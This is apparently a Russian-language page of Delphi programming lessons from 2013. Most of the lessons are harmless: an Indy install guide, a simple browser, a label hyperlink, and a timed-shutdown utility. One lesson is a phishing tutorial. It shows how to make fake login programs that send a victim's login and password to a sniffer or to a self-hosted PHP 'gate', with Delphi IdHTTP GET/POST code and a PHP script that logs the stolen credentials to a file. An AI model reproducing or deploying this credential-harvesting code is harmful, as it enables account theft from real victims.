+1 (234) 234-2345
menu
person
В категории материалов: 15
Показано материалов: 1-10
Страницы: 1 2 »


В этом видеоуроке показано, как в программе можно создать дополнительный поток и выполнять в нём действия, которые выполнять в основном потоке не желательно для юзабилити программы)


Уроки Dephi | Просмотров: 869 | Загрузок: 265 | Добавил: stex | Дата: 29.05.2013 | Комментарии (0)

Чтобы Delphi можно было использовать для написания интернет-приложений, нужно установить комплект компонент Indy.
Последнюю версию Indy можно скачать с ftp-сервера: ftp://indy.fulgan.com/ZIP. Там же можно взять demo-программы.
Распаковываем архив в папку, например, Indy10.
Запускаем Delphi. Меню "Tools->Environment Options->Library”. Добавляем  в «Library path» 3 пути:
1. "Indy10/Lib/System"
2. "Indy10/Lib/Core"
3. "Indy10/Lib/Protocols"
Теперь последовательно открываем и компилируем:
пакет "IndySystemX0.dpk” (где X — это версия Delphi) ("Indy10/Lib/System”);
пакет "IndyCoreX0.dpk” (где X- это версия Delphi) ("Indy10/Lib/Core”);
пакет "IndyProtocolsX0.dpk” (где X — это ваша версия Delphi) ("Indy10/Lib/Protocols").
Далее открываем и устанавливаем:
пакет "dclIndyCoreX0.dpk” ("Indy10/Lib/Core”);
пакет "dclIndyProtocolsX0.dpk” ("Indy10/Lib/Protocols”).
Вот и все, установка свежей версии Indy завершена.
Уроки Dephi | Просмотров: 3633 | Загрузок: 0 | Добавил: stex | Дата: 29.05.2013 | Комментарии (0)

В этом уроке мы напишем свой интернет браузер на основе Internet Explorer. 

   Нам понадобится ToolBar со вкладки Win32 и WebBrouser на вкладке Internet, кидаем все это на форму и сразу изменим свойство Align на alClient. 

   Далее нам понадобится адресная строка и кнопка перехода, кидаем Edit на ToolBar и добавляем кнопку, кликнув правой кнопкой по ToolBar и выбрав New Button. Располагаем ее вот так: 




   Создаем обработчик события (кликам 2 раза на кнопочку) и пишем код:

procedure TForm1.ToolButton1Click(Sender: TObject);

begin

  WebBrowser1.Navigate(Edit1.Text); //Переходим на новую страницу

end;





   Вот загрузилась страница, все отображается правильно, попробуйте открыть какую-нибуть большую, сложную страницу, будет полный кавардак. Дело в том что Delphi7 выпущен в 2002 году и в те времена не было HTML5, CSS3 и прочих новшеств, компонент их не понимает. Самое плохое то, что он не обновляется в новых версиях Delphi. 

   Теперь добавим возможность возврата на предыдущую страницу и вперёд. Добавляем разделитель (New Separator) и 2 кнопочки: 




   В обработчике события первой кнопки пишем:

procedure TForm1.ToolButton2Click(Sender: TObject);

begin

  WebBrowser1.GoBack; //Назад

end;
   В обработчике события второй:

procedure TForm1.ToolButton3Click(Sender: TObject);

begin

  WebBrowser1.GoForward; //Вперёд

end;
   Ну и добавим кнопочки "Обновить", "Стоп", "Домой". Создадим еще 3 кнопки и 2 разделителя, разместим все вот так: 




   В первой пишем:

procedure TForm1.ToolButton4Click(Sender: TObject);

begin

  WebBrowser1.Refresh; //Обновить

end;
   Во второй:

procedure TForm1.ToolButton54Click(Sender: TObject);

begin

  WebBrowser1.Stop; //Стоп

end;
   В третьей:

procedure TForm1.ToolButton6Click(Sender: TObject);

begin

  WebBrowser1.GoHome; //Домой

end;
   Ну вот и все, этот компонент больше бы подошёл, например для отображения новостного блока в ваших программах, для более глобальных задач больше подойдет новый компонент TChromium, его нет в числе стандартных компонентов, он устанавливается отдельно и работа с ним выходит за рамки данной статьи. 

Удачи!
Встретимся в следующем уроке!
Уроки Dephi | Просмотров: 1800 | Загрузок: 0 | Добавил: stex | Дата: 28.05.2013 | Комментарии (0)

Delphi Уроки: Гиперссылка из Label на Раз, Два, Три

Не знаю почему, но у многих новичков возникает вопрос о том: как создать гиперссылку в своей программе ! Поэтому с целью уменьшить количество таких вопросов я создал этот урок. Ну что ж давайте начинать:

1. Открываем Delphi, создаем новый проект на форму кидаем компонент, label с закладки standard. Сразу же давайте изменим у него цвет и размер шрифта. Делается это все в свойстве Font. Цвет я поставил синий, а шрифт сделал жирным, далее в свойстве Cursor компонента Label выберите crHandPoint Делается это для того что бы при наведении на ссылку курсор приобретал форму пальчика.

2. Так теперь нам нужно указать Адрес Web ресурса на который будет попадать пользователь при клике по ссылке. Адрес будем указывать в свойстве Hint компонента Label. Т.Е прописываем там например http://www.stex.at.ua
Delphi label
3. Все предварительная подготовка завершена. Сейчас в верху, после ключевого слова uses допишите SHELLAPI, теперь выделяем компонент Label и создаем на нем обработчик событий OnClick. Полный код того что должно находиться в обработчике представлен ниже, допишите к себе недостающие строки.

procedure TForm1.Label1Click(Sender: TObject);
begin
If (Sender is TLabel) then
with (Sender as Tlabel) do
ShellExecute(Application.Handle,PChar('open'),
PChar(Hint),
PChar(0),
nil,
SW_NORMAL);
end;

Уроки Dephi | Просмотров: 1704 | Загрузок: 0 | Добавил: stex | Дата: 17.05.2013 | Комментарии (0)

procedure TForm1.FormCreate(Sender: TObject);
begin
  if AlphaBlend = False then
  begin
    AlphaBlendValue := 155;
    AlphaBlend := True;
    Application.ProcessMessages;
  end;
end;
Уроки Dephi | Просмотров: 664 | Загрузок: 0 | Добавил: stex | Дата: 17.05.2013 | Комментарии (0)

В этом уроке мы создадим программу под названием "Бубильник", она будет выключать наш компьютер по расписанию.

   Определимся со свойствами, свойство Kind у DateTimePicker установим в dtkTime, и свойство Enabled у Timer выставляем в False. 

   Для выключения компьютера служит функция ExitWindowsEx();, но если её написать вот так просто, то ничего не произойдет, она так работала только в Windows98, в более современных системах она работает только когда есть особые привилегия у использующей её программы. Как сделать эти привилегия мы сейчас и узнаем. Для начала создадим процедуру выключения, в разделе Private Form1 объявим процедуру:
...
  private
    { Private declarations }
    Procedure PowerOFF;
...
   Нажмем комбинацию клавиш Shift + Ctrl + C и Delphi сам создаст шаблон для процедуры, его нужно наполнить кодом:
procedure TForm1.PowerOFF;
var  
  TTokenHd: THandle;  
  TTokenPvg: TTokenPrivileges;  
  cbtpPrevious: DWORD;
  rTTokenPvg: TTokenPrivileges;
  pcbtpPreviousRequired: DWORD;  
  tpResult: Boolean;  
const  
  SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; 
begin
//=========== Получаем привилегии ==============//
begin  
  if Win32Platform = VER_PLATFORM_WIN32_NT then  
  begin  
    tpResult := OpenProcessToken(GetCurrentProcess(),  
      TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,  
      TTokenHd);  
    if tpResult then  
    begin  
      tpResult := LookupPrivilegeValue(nil,  
                                       SE_SHUTDOWN_NAME,  
                                       TTokenPvg.Privileges[0].Luid);  
      TTokenPvg.PrivilegeCount := 1;  
      TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;  
      cbtpPrevious := SizeOf(rTTokenPvg);  
      pcbtpPreviousRequired := 0;  
      if tpResult then  
        Windows.AdjustTokenPrivileges(TTokenHd,  
                                      False,  
                                      TTokenPvg,  
                                      cbtpPrevious, 
                                      rTTokenPvg, 
                                      pcbtpPreviousRequired); 
    end; 
  end;
//=============================================//
  ExitWindowsEx(EWX_SHUTDOWN or EWX_POWEROFF, 0); //Выключаем компьютер;
end;
   Все процедура выключения готова, получилась она довольно громадной, зато везде работает. Теперь займемся таймером, создаем его обработчик события и пишем код:
procedure TForm1.Timer1Timer(Sender: TObject);
var
  a,b: String;
begin
  Label3.Caption:= TimeToStr(GetTime);  //Получаем текущее время
  Label4.Caption:= TimeToStr(DateTimePicker1.Time - GetTime); //Вычисляем сколько времени осталось до выключения

  a:=  TimeToStr(GetTime); //Присваиваем текущее время
  b:= TimeToStr(DateTimePicker1.Time); //Присваиваем время выключения

  if a = b then  //Если текущее время равно времени выключения то 
PowerOFF; //выполняем процедуру выключения   
end;
   Помните в начале урока мы выключили таймер, сделано это для того, чтобы можно было сначала настроить время а потом запустить таймер. Давайте сделаем управление таймером. Создадим обработчик события OnClick на кнопке "Старт":
procedure TForm1.Button2Click(Sender: TObject);
begin
 Timer1.Enabled:=True; //Включаем таймер
end;  
   Ну и также выключим ,если например ошиблись во времени или передумали, в обработчике на кнопке "Стоп":
procedure TForm1.Button1Click(Sender: TObject);
begin
  Timer1.Enabled:=False;
end;

Уроки Dephi | Просмотров: 1667 | Загрузок: 0 | Добавил: stex | Дата: 16.05.2013 | Комментарии (0)

procedure TForm1.Button1Click(Sender: TObject);
const
s='abcdefghijklmnopqrstuvwxyz';
var
i:integer;
begin
for i:=1 TO 10 DO
edit1.Text:=edit1.Text+s[random(length(s)+1)+1];
end;
Уроки Dephi | Просмотров: 568 | Загрузок: 0 | Добавил: stex | Дата: 16.05.2013 | Комментарии (0)

Обычно, "для удобства" люди пишут фейки с отправкой на мыло, в ICQ, на FTP, но не все знают (хотя некоторые знают но забивают на это) что ваши авторизационные данные (логины пароли от FTP, мыла или ICQ) могут быть легко перехвачены и соответственно аккаунты могут быть угнаны.

Во избежание этого я рекомендую использовать отправку на сниффер или гейт. В этой статье я опишу, как можно реализовать отправку данных на гейт или сниффер.

Отправка на сниффер.
Наверное, самый простой способ отправки и не раз описывался, но я его не буду пропускать.
Кладём на форму 2 Edit'a, 1 кнопку и IDhttp (из вкладки Indy Clients). 
Кликаем дважды на кнопку и пишем код:

Код :
idhttp1.Get('http://ваш_сниффер?Login='+edit1.text+' |Pass='+edit2.text);Сниффер можно использовать Для просмотра внешних ссылок необходимо зарегистрироваться (и подтвердить мыло) либо авторизоваться. или установить себе на хост Для просмотра внешних ссылок необходимо зарегистрироваться (и подтвердить мыло) либо авторизоваться..
Минусы местного сниффера - 30 логов максимум.
В сниффере от каника - бесконечное кол-во логов и другие няшки.
Как установить?
Регаем себе хост на holm.ru или на wt8.ru (пойдёт любой бесплатный хостинг с поддержкой php и FTP).
Скачиваем FTP клиент FileZilla, входим с логином и пассом от нашего хоста (должны прийти по почте или в панели управления найдутся).
Заливаем файлы из архива в корень (или в поддиректорию, без разницы) и настраиваем сниффер под себя (читаем readme.txt из архива).
Всё, переходим на главную старницу нашего хоста (если заливали в корень) или в поддиректорию.


Отправка на гейт.
Более сложный процесс, для этого нам понадобится хостинг с поддержкой FTP и PHP, как создать его - читайте выше.
Создали? Идём дальше.
Создаём файл с именем save.php и следующим содержанием:

PHP код:
$data = $_GET['content']; 

$filename = "log.txt"; 

if ( is_writeable($filename) ) : 

$fh = fopen($filename, "a+"); 

$success - fwrite($fh, $data); 


fclose($fh); else : 

print "Could not open Sfilename for writing"; 

endif; 

?> Заливаем файл на ваш хост вместе с файлом log.txt (обязательно!).
Выставляем права 777 на log.txt и save.php.

Обратите внимание на выделенное мною слово GET, тут будут 2 пути - либо передача данных к скрипту методом GET или методом POST. Что выбрать - дело ваше, но настройка для этих типов разная.
Если выбрали метод GET - оставляем скрипт без изменений, если POST - меняем выделенное слово GET на POST соответственно.
Коды обработчиков событий клика для кнопки для этих методов тоже разные.
Код для метода GET:

Код :
idhttp1.get('http://ваш_хост/save.php?content=Login='+edit1.text+'|Pass='+edit2.text);
Код для метода POST:

Код :
var
data:tstringlist;
begin
data:= tstringlist.Create;
data.Add('content= Login='+edit1.text+' |Pass='+edit2.text);
idhttp1.Post('http://ваш_хост/save.php',data);
data.Free;
Как вы поняли, в var необходимо добавить описание переменной data.
Всё!
После того, как жертва вводит свой логин и пароль в ваши поля в программе, все данные записываются в файл log.txt.

Плюсы и минусы передачи данных методом GET:
+Короткий код обработчика события клика в Delphi
+Схожесть с использованием сниффера
-Невозможно использовать пробелы в запросе

Плюсы и минусы передачи данных методом POST:
+Возможно использовать пробелы
+Более удобный и хороший способ (ИМХО)
-Больший код обработчика клика в Delphi 
Уроки Dephi | Просмотров: 1544 | Загрузок: 0 | Добавил: stex | Дата: 16.05.2013 | Комментарии (0)

procedure TForm1.Button1Click(Sender: TObject);
var url, page : string;
begin
url:='http://www.stex.at.ua';
page:=IdHTTP1.get(url);  //скачиваем код страницы
Memo1.text:=page;
end;
Уроки Dephi | Просмотров: 610 | Загрузок: 0 | Добавил: stex | Дата: 16.05.2013 | Комментарии (0)

Кидаем на форму кнопку, Добавляем oneclick и между begin и end пропишем этот код: 

Код;

if Form1.ClientHeight=190 then Form1.ClientHeight:=306 
else Form1.ClientHeight:=190; 
Уроки Dephi | Просмотров: 611 | Загрузок: 0 | Добавил: stex | Дата: 16.05.2013 | Комментарии (0)


1-10 11-15